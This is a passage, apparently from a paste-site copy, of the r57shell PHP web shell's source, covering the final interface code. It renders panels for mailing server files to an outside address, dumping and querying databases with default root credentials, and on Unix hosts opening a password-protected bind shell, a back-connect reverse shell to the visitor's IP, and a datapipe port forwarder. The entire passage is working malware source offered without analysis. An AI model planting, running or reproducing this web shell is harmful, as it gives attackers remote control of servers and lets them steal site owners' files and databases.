  2013. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  2014. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  2015. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
  2016. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  2017. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2018. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  2019. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2020. echo $te."</td>".$fe."</tr></div></table>";
  2021. }
  2022. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  2023. {
  2024. $select = '<select name=db>';
  2025. if($mysql_on) $select .= '<option>MySQL</option>';
  2026. if($mssql_on) $select .= '<option>MSSQL</option>';
  2027. if($pg_on)    $select .= '<option>PostgreSQL</option>';
  2028. if($ora_on)   $select .= '<option>Oracle</option>';
  2029. $select .= '</select>';
  2030. echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2031. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  2032. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2033. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2034. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2035. echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  2036. echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  2037. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
  2038. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2039. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  2040. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2041. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2042. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2043. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2044. echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  2045. echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("show tables;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  2046. }
  2047. if(!$safe_mode&&$unix){
  2048. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2049. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  2050. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
  2051. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
  2052. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2053. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  2054. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2055. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  2056. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  2057. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  2058. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2059. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  2060. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2061. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  2062. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
  2063. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  2064. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  2065. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  2066. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  2067. echo $te."</td>".$fe."</tr></div></table>";
  2068. }
  2069. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>--=[<font color=grey> ® </font>]=--</b></font></div></td></tr></table>";
  2070. echo '</body></html>';
  2071. ?>
Add Comment
Please, Sign In to add comment